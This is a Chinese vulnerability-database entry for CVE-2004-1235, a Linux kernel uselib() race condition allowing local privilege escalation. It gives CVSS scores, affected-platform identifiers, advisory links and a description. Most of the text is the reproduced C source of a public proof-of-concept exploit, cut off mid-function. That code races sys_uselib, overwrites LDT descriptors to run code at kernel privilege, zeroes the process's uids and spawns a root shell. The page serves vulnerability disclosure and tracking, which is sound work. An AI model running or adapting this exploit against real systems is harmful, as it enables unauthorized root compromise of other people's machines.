CVE-2004-1235
CVSS6.2
发布时间 :2005-04-14 00:00:00
修订时间 :2016-10-17 22:52:57
NMCOEPS    

[原文]Race condition in the (1) load_elf_library and (2) binfmt_aout function calls for uselib in Linux kernel 2.4 through 2.429-rc2 and 2.6 through 2.6.10 allows local users to execute arbitrary code by manipulating the VMA descriptor.


[CNNVD]Linux Kernel uselib()特权提升漏洞(CNNVD-200504-062)

        Linux Kernel是开放源代码操作系统Linux的内核。
        Linux二进制格式装载器(binary format loaders)uselib()函数存在缺陷,本地攻击者可以利用这个漏洞获得root用户权限。
        Linux内核提供二进制格式装载器层来装载不同格式的程序如ELF或者a.out或其他的,内核也提供sys_uselib()函数装载对应的二进制程序。从binfmt_elf.c文件中对load_elf_library()的uselib函数分析,在对库的BRK段(VMA)处理上存在问题,此段通过current->mm->mmap_sem建立,当修改调用进程的内存布局时'信号灯'(semaphore)没有保持,这可以用来扰乱内存管理并提升特权。
        部分源代码fs/binfmt_elf.c如下:
        static int load_elf_library(struct file *file)
        {
        [904] down_write(

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:mandrakesoft:mandrake_linux:10.1::x86_64
cpe:/o:redhat:enterprise_linux:3.0::enterprise_server
cpe:/o:mandrakesoft:mandrake_linux_corporate_server:3.0MandrakeSoft Mandrake Corporate Server 3.0
cpe:/o:redhat:enterprise_linux:4.0::advanced_server
cpe:/o:linux:linux_kernel:2.6.0:test4Linux Kernel 2.6 test4
cpe:/o:redhat:fedora_core:core_2.0
cpe:/o:linux:linux_kernel:2.6.0:test5Linux Kernel 2.6 test5
cpe:/o:linux:linux_kernel:2.6.0:test2Linux Kernel 2.6 test2
cpe:/o:linux:linux_kernel:2.6.0:test3Linux Kernel 2.6 test3
cpe:/o:linux:linux_kernel:2.6.0:test8Linux Kernel 2.6 test8
cpe:/o:linux:linux_kernel:2.6.0:test9Linux Kernel 2.6 test9
cpe:/o:linux:linux_kernel:2.6.10Linux Kernel 2.6.10
cpe:/o:redhat:enterprise_linux:3.0::advanced_servers
cpe:/a:avaya:network_routingAvaya Network Routing
cpe:/o:linux:linux_kernel:2.6.0:test6Linux Kernel 2.6 test6
cpe:/o:linux:linux_kernel:2.6.0:test7Linux Kernel 2.6 test7
cpe:/o:linux:linux_kernel:2.4.1Linux Kernel 2.4.1
cpe:/o:linux:linux_kernel:2.4.0Linux Kernel 2.4.0
cpe:/h:avaya:s8300:r2.0.0
cpe:/o:linux:linux_kernel:2.4.5Linux Kernel 2.4.5
cpe:/o:redhat:linux:7.3::i386
cpe:/o:linux:linux_kernel:2.4.4Linux Kernel 2.4.4
cpe:/o:linux:linux_kernel:2.4.18::x86
cpe:/o:linux:linux_kernel:2.4.3Linux Kernel 2.4.3
cpe:/o:redhat:enterprise_linux:3.0::workstation
cpe:/o:linux:linux_kernel:2.4.2Linux Kernel 2.4.2
cpe:/o:linux:linux_kernel:2.6.0:test11Linux Kernel 2.6 test11
cpe:/o:linux:linux_kernel:2.6.0:test1Linux Kernel 2.6 test1
cpe:/o:linux:linux_kernel:2.6.0:test10Linux Kernel 2.6 test10
cpe:/o:mandrakesoft:mandrake_linux:10.0::amd64
cpe:/o:linux:linux_kernel:2.6.9:2.6.20
cpe:/o:suse:suse_linux:9.0SuSE SuSE Linux 9.0
cpe:/a:mandrakesoft:mandrake_multi_network_firewall:8.2MandrakeSoft Mandrake Multi Network Firewall 8.2
cpe:/o:mandrakesoft:mandrake_linux:10.1MandrakeSoft Mandrake Linux 10.1
cpe:/o:suse:suse_linux:9.2SuSE SuSE Linux 9.2
cpe:/o:suse:suse_linux:9.0::enterprise_server
cpe:/o:mandrakesoft:mandrake_linux:10.0MandrakeSoft Mandrake Linux 10.0
cpe:/o:suse:suse_linux:9.1SuSE SuSE Linux 9.1
cpe:/o:linux:linux_kernel:2.6.8Linux Kernel 2.6.8
cpe:/o:linux:linux_kernel:2.6.1:rc2Linux Kernel 2.6.1 Release Candidate 2
cpe:/o:redhat:enterprise_linux:4.0::enterprise_server
cpe:/o:conectiva:linux:10.0Conectiva Linux 10.0
cpe:/o:avaya:modular_messaging_message_storage_server:1.1
cpe:/o:linux:linux_kernel:2.6.1:rc1Linux Kernel 2.6.1 Release Candidate 1
cpe:/o:ubuntu:ubuntu_linux:4.1::ia64
cpe:/o:redhat:enterprise_linux_desktop:3.0Red Hat Desktop 3.0
cpe:/o:linux:linux_kernel:2.6.6:rc1Linux Kernel 2.6.6 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.7:rc1Linux Kernel 2.6.7 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.8:rc1Linux Kernel 2.6.8 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.8:rc2Linux Kernel 2.6.8 Release Candidate 2
cpe:/o:linux:linux_kernel:2.6.8:rc3Linux Kernel 2.6.8 Release Candidate 3
cpe:/h:avaya:s8300:r2.0.1
cpe:/o:linux:linux_kernel:2.4.0:test2Linux Kernel 2.4.0 test2
cpe:/o:linux:linux_kernel:2.4.0:test3Linux Kernel 2.4.0 test3
cpe:/o:linux:linux_kernel:2.4.0:test8Linux Kernel 2.4.0 test8
cpe:/o:linux:linux_kernel:2.4.23_ow2
cpe:/o:linux:linux_kernel:2.4.0:test9Linux Kernel 2.4.0 test9
cpe:/o:linux:linux_kernel:2.4.0:test6Linux Kernel 2.4.0 test6
cpe:/o:linux:linux_kernel:2.6.10:rc2Linux Kernel 2.6.10 Release Candidate 2
cpe:/o:linux:linux_kernel:2.4.0:test7Linux Kernel 2.4.0 test7
cpe:/o:redhat:fedora_core:core_1.0
cpe:/o:linux:linux_kernel:2.6.7Linux Kernel 2.6.7
cpe:/o:linux:linux_kernel:2.6.6Linux Kernel 2.6.6
cpe:/h:avaya:s8700:r2.0.1
cpe:/h:avaya:s8700:r2.0.0
cpe:/o:linux:linux_kernel:2.6.5Linux Kernel 2.6.5
cpe:/o:linux:linux_kernel:2.6.4Linux Kernel 2.6.4
cpe:/o:linux:linux_kernel:2.4.27:pre5Linux Kernel 2.4.27 pre5
cpe:/o:avaya:modular_messaging_message_storage_server:2.0
cpe:/o:linux:linux_kernel:2.4.27:pre3Linux Kernel 2.4.27 pre3
cpe:/o:linux:linux_kernel:2.4.0:test4Linux Kernel 2.4.0 test4
cpe:/o:linux:linux_kernel:2.4.0:test5Linux Kernel 2.4.0 test5
cpe:/o:redhat:linux:9.0::i386
cpe:/o:linux:linux_kernel:2.6.3Linux Kernel 2.6.3
cpe:/o:linux:linux_kernel:2.6.2Linux Kernel 2.6.2
cpe:/h:avaya:s8710:r2.0.0
cpe:/o:linux:linux_kernel:2.4.27:pre4Linux Kernel 2.4.27 pre4
cpe:/h:avaya:s8710:r2.0.1
cpe:/o:redhat:enterprise_linux_desktop:4.0Red Hat Desktop 4.0
cpe:/o:linux:linux_kernel:2.4.21:pre4Linux Kernel 2.4.21 pre4
cpe:/o:linux:linux_kernel:2.6.1Linux Kernel 2.6.1
cpe:/o:linux:linux_kernel:2.6.0Linux Kernel 2.6.0
cpe:/o:linux:linux_kernel:2.4.21:pre7Linux Kernel 2.4.21 pre7
cpe:/o:linux:linux_kernel:2.4.23:pre9Linux Kernel 2.4.23 pre9
cpe:/o:linux:linux_kernel:2.4.0:test12Linux Kernel 2.4.0 test12
cpe:/o:linux:linux_kernel:2.4.0:test11Linux Kernel 2.4.0 test11
cpe:/o:linux:linux_kernel:2.4.0:test1Linux Kernel 2.4.0 test1
cpe:/a:avaya:mn100Avaya MN100
cpe:/o:ubuntu:ubuntu_linux:4.1::ppc
cpe:/o:mandrakesoft:mandrake_linux:9.2MandrakeSoft Mandrake Linux 9.2
cpe:/o:mandrakesoft:mandrake_linux:9.2::amd64
cpe:/o:linux:linux_kernel:2.4.0:test10Linux Kernel 2.4.0 test10
cpe:/o:suse:suse_linux:8::enterprise_server
cpe:/o:mandrakesoft:mandrake_linux_corporate_server:2.1::x86_64
cpe:/o:linux:linux_kernel:2.4.24_ow1
cpe:/o:suse:suse_linux:1.0::desktop
cpe:/o:mandrakesoft:mandrake_linux_corporate_server:2.1MandrakeSoft Mandrake Linux Corporate Server 2.1
cpe:/o:linux:linux_kernel:2.4.12Linux Kernel 2.4.12
cpe:/o:linux:linux_kernel:2.4.11Linux Kernel 2.4.11
cpe:/o:linux:linux_kernel:2.4.18:pre1Linux Kernel 2.4.18 pre1
cpe:/o:linux:linux_kernel:2.4.18:pre2Linux Kernel 2.4.18 pre2
cpe:/o:linux:linux_kernel:2.4.19:pre1Linux Kernel 2.4.19 pre1
cpe:/o:linux:linux_kernel:2.4.19:pre2Linux Kernel 2.4.19 pre2
cpe:/o:redhat:fedora_core:core_3.0
cpe:/o:linux:linux_kernel:2.4.19Linux Kernel 2.4.19
cpe:/o:linux:linux_kernel:2.4.14Linux Kernel 2.4.14
cpe:/o:linux:linux_kernel:2.4.13Linux Kernel 2.4.13
cpe:/o:linux:linux_kernel:2.4.16Linux Kernel 2.4.16
cpe:/o:linux:linux_kernel:2.4.15Linux Kernel 2.4.15
cpe:/o:linux:linux_kernel:2.4.10Linux Kernel 2.4.10
cpe:/o:redhat:enterprise_linux:4.0::workstation
cpe:/o:linux:linux_kernel:2.4.18Linux Kernel 2.4.18
cpe:/o:linux:linux_kernel:2.4.17Linux Kernel 2.4.17
cpe:/o:linux:linux_kernel:2.4.18:pre6Linux Kernel 2.4.18 pre6
cpe:/o:linux:linux_kernel:2.4.18:pre3Linux Kernel 2.4.18 pre3
cpe:/o:linux:linux_kernel:2.4.27:pre1Linux Kernel 2.4.27 pre1
cpe:/o:linux:linux_kernel:2.4.29:rc2Linux Kernel 2.4.29 rc2
cpe:/o:linux:linux_kernel:2.4.18:pre4Linux Kernel 2.4.18 pre4
cpe:/o:linux:linux_kernel:2.4.19:pre5Linux Kernel 2.4.19 pre5
cpe:/o:linux:linux_kernel:2.4.27:pre2Linux Kernel 2.4.27 pre2
cpe:/o:linux:linux_kernel:2.4.19:pre6Linux Kernel 2.4.19 pre6
cpe:/o:linux:linux_kernel:2.4.21:pre1Linux Kernel 2.4.21 pre1
cpe:/o:linux:linux_kernel:2.4.19:pre3Linux Kernel 2.4.19 pre3
cpe:/o:linux:linux_kernel:2.4.18:pre7Linux Kernel 2.4.18 pre7
cpe:/o:linux:linux_kernel:2.4.19:pre4Linux Kernel 2.4.19 pre4
cpe:/o:linux:linux_kernel:2.4.18:pre8Linux Kernel 2.4.18 pre8
cpe:/o:linux:linux_kernel:2.4.23Linux Kernel 2.4.23
cpe:/o:linux:linux_kernel:2.4.22Linux Kernel 2.4.22
cpe:/a:avaya:intuity_audix:::lx
cpe:/o:linux:linux_kernel:2.4.18:pre5Linux Kernel 2.4.18 pre5
cpe:/o:linux:linux_kernel:2.4.25Linux Kernel 2.4.25
cpe:/o:suse:suse_linux:8.1SuSE SuSE Linux 8.1
cpe:/o:linux:linux_kernel:2.4.24Linux Kernel 2.4.24
cpe:/o:linux:linux_kernel:2.4.27Linux Kernel 2.4.27
cpe:/o:linux:linux_kernel:2.4.26Linux Kernel 2.4.26
cpe:/o:linux:linux_kernel:2.4.21Linux Kernel 2.4.21
cpe:/o:linux:linux_kernel:2.4.20Linux Kernel 2.4.20
cpe:/o:linux:linux_kernel:2.6_test9_cvs
cpe:/o:linux:linux_kernel:2.4.9Linux Kernel 2.4.9
cpe:/h:avaya:converged_communications_server:2.0Avaya Converged Communications Server 2.0
cpe:/o:linux:linux_kernel:2.4.8Linux Kernel 2.4.8
cpe:/h:avaya:s8500:r2.0.1
cpe:/h:avaya:s8500:r2.0.0
cpe:/o:linux:linux_kernel:2.4.7Linux Kernel 2.4.7
cpe:/o:linux:linux_kernel:2.4.28Linux Kernel 2.4.28
cpe:/o:linux:linux_kernel:2.4.6Linux Kernel 2.4.6
cpe:/o:suse:suse_linux:8.2SuSE SuSE Linux 8.2

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:9567Race condition in the (1) load_elf_library and (2) binfmt_aout function calls for uselib in Linux kernel 2.4 through 2.429-rc2 and 2.6 throu...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1235
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1235
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200504-062
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/index.php?id=a&anuncio=000930
(UNKNOWN)  CONECTIVA  CLA-2005:930
http://isec.pl/vulnerabilities/isec-0021-uselib.txt
(UNKNOWN)  MISC  http://isec.pl/vulnerabilities/isec-0021-uselib.txt
http://marc.info/?l=bugtraq&m=110512575901427&w=2
(UNKNOWN)  BUGTRAQ  20050107 Linux kernel sys_uselib local root vulnerability
http://www.debian.org/security/2006/dsa-1067
(UNKNOWN)  DEBIAN  DSA-1067
http://www.debian.org/security/2006/dsa-1069
(UNKNOWN)  DEBIAN  DSA-1069
http://www.debian.org/security/2006/dsa-1070
(UNKNOWN)  DEBIAN  DSA-1070
http://www.debian.org/security/2006/dsa-1082
(UNKNOWN)  DEBIAN  DSA-1082
http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
(UNKNOWN)  MANDRAKE  MDKSA-2005:022
http://www.novell.com/linux/security/advisories/2005_01_sr.html
(UNKNOWN)  SUSE  SUSE-SR:2005:001
http://www.redhat.com/support/errata/RHSA-2005-016.html
(UNKNOWN)  REDHAT  RHSA-2005:016
http://www.redhat.com/support/errata/RHSA-2005-017.html
(UNKNOWN)  REDHAT  RHSA-2005:017
http://www.redhat.com/support/errata/RHSA-2005-043.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2005:043
http://www.redhat.com/support/errata/RHSA-2005-092.html
(UNKNOWN)  REDHAT  RHSA-2005:092
http://www.securityfocus.com/advisories/7804
(UNKNOWN)  CONFIRM  http://www.securityfocus.com/advisories/7804
http://www.securityfocus.com/advisories/7805
(UNKNOWN)  FEDORA  FEDORA-2005-014
http://www.securityfocus.com/advisories/7806
(UNKNOWN)  FEDORA  FEDORA-2005-013
http://www.securityfocus.com/bid/12190
(VENDOR_ADVISORY)  BID  12190
http://www.trustix.org/errata/2005/0001/
(UNKNOWN)  TRUSTIX  2005-0001
http://xforce.iss.net/xforce/xfdb/18800
(UNKNOWN)  XF  linux-uselib-gain-privileges(18800)
https://bugzilla.fedora.us/show_bug.cgi?id=2336
(UNKNOWN)  FEDORA  FLSA:2336

- 漏洞信息

Linux Kernel uselib()特权提升漏洞
中危 竞争条件
2005-04-14 00:00:00 2005-10-20 00:00:00
本地  
        Linux Kernel是开放源代码操作系统Linux的内核。
        Linux二进制格式装载器(binary format loaders)uselib()函数存在缺陷,本地攻击者可以利用这个漏洞获得root用户权限。
        Linux内核提供二进制格式装载器层来装载不同格式的程序如ELF或者a.out或其他的,内核也提供sys_uselib()函数装载对应的二进制程序。从binfmt_elf.c文件中对load_elf_library()的uselib函数分析,在对库的BRK段(VMA)处理上存在问题,此段通过current->mm->mmap_sem建立,当修改调用进程的内存布局时'信号灯'(semaphore)没有保持,这可以用来扰乱内存管理并提升特权。
        部分源代码fs/binfmt_elf.c如下:
        static int load_elf_library(struct file *file)
        {
        [904] down_write(

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.kernel.org/

- 漏洞信息 (744)

Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation (EDBID:744)
linux local
2005-01-07 Verified
0 Paul Starzetz
N/A [点击下载]
/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.08
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;

	addr[0] = addr[0] = addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;

//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
		if( validate_vma(addr, vma_start, vma_end) ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}


void kcode(void);


void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$(" xstr(SEL_LDS) ") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
    );
}


int callme_2()
{
	return val + task_size + addr_min;
}


void sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}


//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	unlink(libname);

	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
	if(r) fatal("mprotect 1", 1);

//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}

//	yeah, setup CPL0 gate
	v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
	v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//	setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
	v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
	v[1] = 0x00cf9b00;

	v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
	v[1] = 0x00cf9300;

//	reprotect to get only one big VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
	if(r) fatal("mprotect 2", 1);

//	CPL0 transition
	sys_sched_yield();
	val = callme_1() + callme_2();
	asm("lcall $" xstr(SEL_GATE) ",$0x0");
	if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
		printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);

	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(shellname, "sh", NULL);
	fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//	kernel page table scan code
void scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= (unsigned)addr_min)
		scan_mm_start();

	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}


void scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );

	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}


//	make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

	pnum++;
	if(pnum==1) {
		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);
		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}


//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
